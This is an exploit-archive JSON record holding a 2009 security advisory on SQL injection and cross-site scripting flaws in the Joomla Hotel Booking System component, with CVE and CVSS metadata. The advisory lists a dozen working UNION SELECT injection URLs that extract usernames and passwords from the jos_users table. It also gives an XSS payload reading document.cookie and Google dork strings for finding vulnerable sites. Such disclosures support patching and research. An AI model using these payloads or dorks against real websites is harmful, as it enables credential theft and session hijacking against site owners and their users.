{"exploit":{"id":"EDB-9648","name":"Joomla! Component Hotel Booking System - Cross-Site Scripting (XSS) / SQL Injection (SQLi)","description":"Joomla! Component Hotel Booking System - Cross-Site Scripting (XSS) / SQL Injection (SQLi)","cves":["CVE-2009-3368","CVE-2009-3357"],"author":"K-159","published":"2009-09-11","platform":"php","type":"webapps","language":"Text","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/9648","path":"exploits/php/webapps/9648.txt","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-9648.txt","vulnerabilities":[{"id":"CVE-2009-3368","state":"PUBLISHED","title":null,"titleSource":null,"description":"Cross-site scripting (XSS) vulnerability in the Hotel Booking Reservation System (aka HBS or com_hbssearch) component for Joomla! allows remote attackers to inject arbitrary web script or HTML via the adult parameter in a showhoteldetails action to index.php.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2009-3368","cvss":{"version":"2.0","baseScore":4.3,"severity":"medium","vectorString":"AV:N/AC:M/Au:N/C:N/I:P/A:N","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2009-3368"},"updatedAt":"2024-08-07T06:22:24.438Z","retrievedAt":"2026-11-26T20:09:07.752Z","stale":false,"error":null},{"id":"CVE-2009-3357","state":"PUBLISHED","title":null,"titleSource":null,"description":"Multiple SQL injection vulnerabilities in the Hotel Booking Reservation System (aka HBS or com_hbssearch) component for Joomla! allow remote attackers to execute arbitrary SQL commands via the (1) h_id, (2) id, and (3) rid parameters to longDesc.php, and the h_id parameter to (4) detail.php, (5) detail1.php, (6) detail2.php, (7) detail3.php, (8) detail4.php, (9) detail5.php, (10) detail6.php, (11) detail7.php, and (12) detail8.php, different vectors than CVE-2008-5865, CVE-2008-5874, and CVE-2008-5875.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2009-3357","cvss":{"version":"2.0","baseScore":7.5,"severity":"high","vectorString":"AV:N/AC:L/Au:N/C:P/I:P/A:P","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2009-3357"},"updatedAt":"2024-08-07T06:22:24.403Z","retrievedAt":"2026-11-26T20:30:59.036Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-9648.png?v=2","url":"https://exploitbin.com/exploits/EDB-9648","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-9648/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-9648/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"____________________   ___ ___ ________\n\\_   _____/\\_   ___ \\ /   |   \\\\_____  \\\n |    __)_ /    \\  \\//    ~    \\/   |   \\\n |        \\\\     \\___\\    Y    /    |    \\\n/_______  / \\______  /\\___|_  /\\_______  /\n        \\/         \\/       \\/         \\/\n\n                                        .OR.ID\nECHO_ADV_111$2009\n\n-----------------------------------------------------------------------------------------\n[ECHO_ADV_111$2009] Joomla Hotel Booking System Component XSS/SQL Injection Multiple Vulnerability\n-----------------------------------------------------------------------------------------\n\nAuthor       : K-159\nDate         : September, 11 th 2009\nLocation     : Jakarta, Indonesia\nWeb          : http://e-rdc.org/v1/news.php?readmore=142\nCritical Lvl : Moderate\nImpact       : Exposure of sensitive information\nWhere        : From Remote\n---------------------------------------------------------------------------\n\nAffected software description:\n~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nApplication : Joomla Hotel Booking System\nversion     : Hotel Booking System Package I,II,III\nVendor      : http://www.joomlahbs.com\nDescription :\n\nJoomla HBS (Joomla Hotel Booking System) was designed to simplify the task of online booking in Joomla Content Management Website.\nIt provides users a unique, intuitive and easy to use interface that improves the way people use the web today.\nJoomla Hotel Booking System (Joomla HBS) enhances the entire Hotel Booking web experience in Joomla!.\nIts Flexible, Simple, Elegant, Customizable and Powerful. Joomla HBS Easy to install, simple to manage and reliable.\n\nJoomla Hotel Booking / Reservation System to be used together with a Content Management System (CMS) called Joomla!.\nJoomla and Joomla HBS are written in PHP and made for easy use in a PHP / MySQL environment.\n\n--------------------------------------------------------------------------\n\nVulnerability:\n~~~~~~~~~~~~\nI.SQL injection\n\n1). Input passed via the \"h_id\" & \"id\" parameter in longDesc.php are not properly sanitised before being used in SQL queries.\nThis can be exploited to manipulate SQL queries by injecting arbitrary SQL code.HBS Package III only\n\n1). Input passed via the \"rid\" parameter in longDesc.php is not properly sanitised before being used in SQL queries.\nThis can be exploited to manipulate SQL queries by injecting arbitrary SQL code.HBS Package I,II only.\n\n2). Input passed via the \"h_id\" parameter in detail.php, detail1.php, detail2.php, detail3.php, detail4.php, detail5.php, detail6.php, detail7.php,\n& detail8.php is not properly sanitised before being used in SQL queries.This can be exploited to manipulate SQL queries by injecting arbitrary SQL code.\nHBS Package I,II,III.\n\nPoc/Exploit:\n~~~~~~~\n\nhttp://www.example.com/components/com_hbssearch/longDesc.php?h_id=1&id=-2%20union%20select%20concat%28username,0x3a,password%29%20from%20jos_users--\nhttp://www.example.com/components/com_hbssearch/longDesc.php?h_id=-1%20union%20select%20concat%28username,0x3a,password%29%20from%20jos_users--&id=2\nhttp://www.example.com/components/com_hbssearch/longDesc.php?hid=5&rid=-32%20union%20select%20concat%28username,0x3a,password%29%20from%20jos_users--\nhttp://www.example.com/components/com_hbssearch/detail.php?h_id=-5%20union%20select%201,2,3,4,5,6,7,concat%28username,0x3a,password%29,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3%20from%20jos_users--\nhttp://www.example.com/components/com_hbssearch/detail1.php?h_id=-5%20union%20select%20concat%28username,0x3a,password%29%20from%20jos_users--\nhttp://www.example.com/components/com_hbssearch/detail2.php?h_id=-5%20union%20select%20concat%28username,0x3a,password%29%20from%20jos_users--\nhttp://www.example.com/components/com_hbssearch/detail3.php?h_id=-5%20union%20select%20concat%28username,0x3a,password%29%20from%20jos_users--\nhttp://www.example.com/components/com_hbssearch/detail4.php?h_id=-5%20union%20select%20concat%28username,0x3a,password%29%20from%20jos_users--\nhttp://www.example.com/components/com_hbssearch/detail5.php?h_id=-5%20union%20select%20concat%28username,0x3a,password%29%20from%20jos_users--\nhttp://www.example.com/components/com_hbssearch/detail6.php?h_id=-5%20union%20select%20concat%28username,0x3a,password%29%20from%20jos_users--\nhttp://www.example.com/components/com_hbssearch/detail7.php?h_id=-1%20union%20select%201,2,3,concat%28username,0x3a,password%29,5%20from%20jos_users--\nhttp://www.example.com/components/com_hbssearch/detail8.php?h_id=-5%20union%20select%201,concat%28username,0x3a,password%29,3,4%20from%20jos_users--\n\n\nII.Xss/Cross Site Scripting\n\nInput passed via the \"adult\" parameter in index.php when option set to com_hbssearch & task set to showhoteldetails is not properly sanitised before being used\nThis can be exploited to insert arbitrary HTML or javascript in a user's browser.an attacker can use this vulnerability to stole cookies or sessionid from users\nin context of an affected site.\n\nPoC/Exploit :\n~~~~~~~~~~\nhttp://www.example.com/index.php?option=com_hbssearch&task=showhoteldetails&id=118&adult=2<script>alert(document.cookie);</script>&child=0&r_type=1&chkin=2009-09-15&chkout=2009-09-16&datedif=1&str_day=Tue&end_day=Wed&start_day=Tue&star=\n\n\nDork:\n~~~\nGoogle : \"option=com_tophotelmodule\",\"option=com_lowcosthotels\",\"option=com_allhotels\",\"option=com_5starhotels\",\"option=com_hbssearch\"\n\n\nSolution:\n~~~~~\n- N/A.\n\nTimeline:\n~~~~~~~\n\n- 31 - 08 - 2009 bug found\n- 03 - 09 - 2009 vendor contacted and response\n- 11 - 09 - 2009 advisory release\n---------------------------------------------------------------------------\n\nShoutz:\n~~~\n~ \"Happy 6 th Anniversary for ECHO, keep the good work!\"\n~ ping - my dearest wife, zizau - my beloved son, i-eyes - my beloved daughter.\n~ y3dips,the_day,Negatif,lirva32 (congratz for the new baby),pushm0v,az001,rey,the_hydra,neng chika,comex, str0ke\n~ comitte [at] 2009.idsecconf.org\n~ scanners [at] SCAN-NUSANTARA & SCAN-ASSOCIATES\n~ SK,Abond,pokley,cybertank,super_temon,whatsoever,b120t0,inggar,fachri,adi,rahmat,indrawayank,mukadarah\n~ masterpop3,maSter-oP,Lieur-Euy,Mr_ny3m,bithedz,murp,sakitjiwa,x16,cyb3rh3b,cR4SH3R,ogeb,bagan,devsheed\n~ dr188le,cow_1seng,poniman_coy,paman_gembul,ketut,rizal,ghostblup,shamus,kuntua, stev_manado,nofry,k1tk4t,0pt1c\n~ all the crew [at] UPN Veteran Jogja & Palcomtech Palembang\n~ newbie_hacker [at] yahoogroups.com\n~ milw0rm.com, 2009.idsecconf.org, unitiga.com, mac.web.id, indowebster.com\n~ #aikmel #e-c-h-o @irc.dal.net\n\n---------------------------------------------------------------------------\nContact:\n~~~~\n\nK-159 || echo|staff || adv[at]e-rdc[dot]org\nHomepage: http://www.e-rdc.org/\n\n-------------------------------- [ EOF ] ----------------------------------\n\n# milw0rm.com [2009-09-11]","sha256":"0653016151c88dd59db4b73f8886d691c620de90a7e8e3019bdcdaf333d0d80c","bytes":6765,"fetchedAt":"2026-11-26T20:09:06.077Z","encoding":"utf-8 (display only; download retains original bytes)"}